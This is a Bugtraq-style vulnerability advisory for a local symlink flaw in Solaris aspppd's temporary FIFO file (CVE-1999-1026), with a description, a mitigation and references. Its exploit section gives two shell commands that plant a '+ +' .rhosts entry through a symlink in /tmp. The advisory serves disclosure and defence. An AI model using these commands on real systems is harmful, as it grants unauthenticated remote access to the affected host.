Solaris aspppd Insecure Temporary File Creation Vulnerability

Bugtraq ID:	292
Class:	Origin Validation Error
CVE:	CVE-1999-1026
Remote:	No
Local:	Yes
Published:	Dec 20 1996 12:00AM
Updated:	Jul 11 2009 12:16AM
Credit:	This vulnerability was posted to Bugtraq by Thamer Al-Herbish <[email protected]> Fri, 20 Dec 1996.
Vulnerable:	Sun Solaris 2.5.1 _x86 Sun Solaris 2.5_x86 Sun Solaris 2.4_x86
Not Vulnerable:	Sun Solaris 2.5.1 Sun Solaris 7.0_x86 Sun Solaris 7.0 Sun Solaris 2.6_x86 Sun Solaris 2.6 Sun Solaris 2.5 Sun Solaris 2.4

Solaris aspppd Insecure Temporary File Creation Vulnerability

Aspppd is a tool shipped with Solaris for dial up PPP access. This tool creates files in the /tmp directory insecurely (in particular /tmp/.asppp.fifo) allowing other users to link to these files an possibly elevate their privelages. This program is not by default shipped with SUID root privelages so an attacker will therefore only be able to write to files (via a symlink attack) as the user exectuing aspppd.

Solaris aspppd Insecure Temporary File Creation Vulnerability

$ echo "+ +" >> .rhosts
$ ln -s /.rhosts /tmp/.asppp.fifo

Wait for asppd to be excecuted.

Solaris aspppd Insecure Temporary File Creation Vulnerability

Solution:
The Security Focus staff are currently unaware of any vendor fix for this problem. If you use this program, you may wish to clear the /tmp directory before it's execution of any .asppp.fifo files.

Solaris aspppd Insecure Temporary File Creation Vulnerability

References:

• Sun Patch Access Page (Sun Microsystems)
  
• Sun Patches List (Sun Microsystems)
  
• Sunsolve Online(tm) (Sun Microsystems)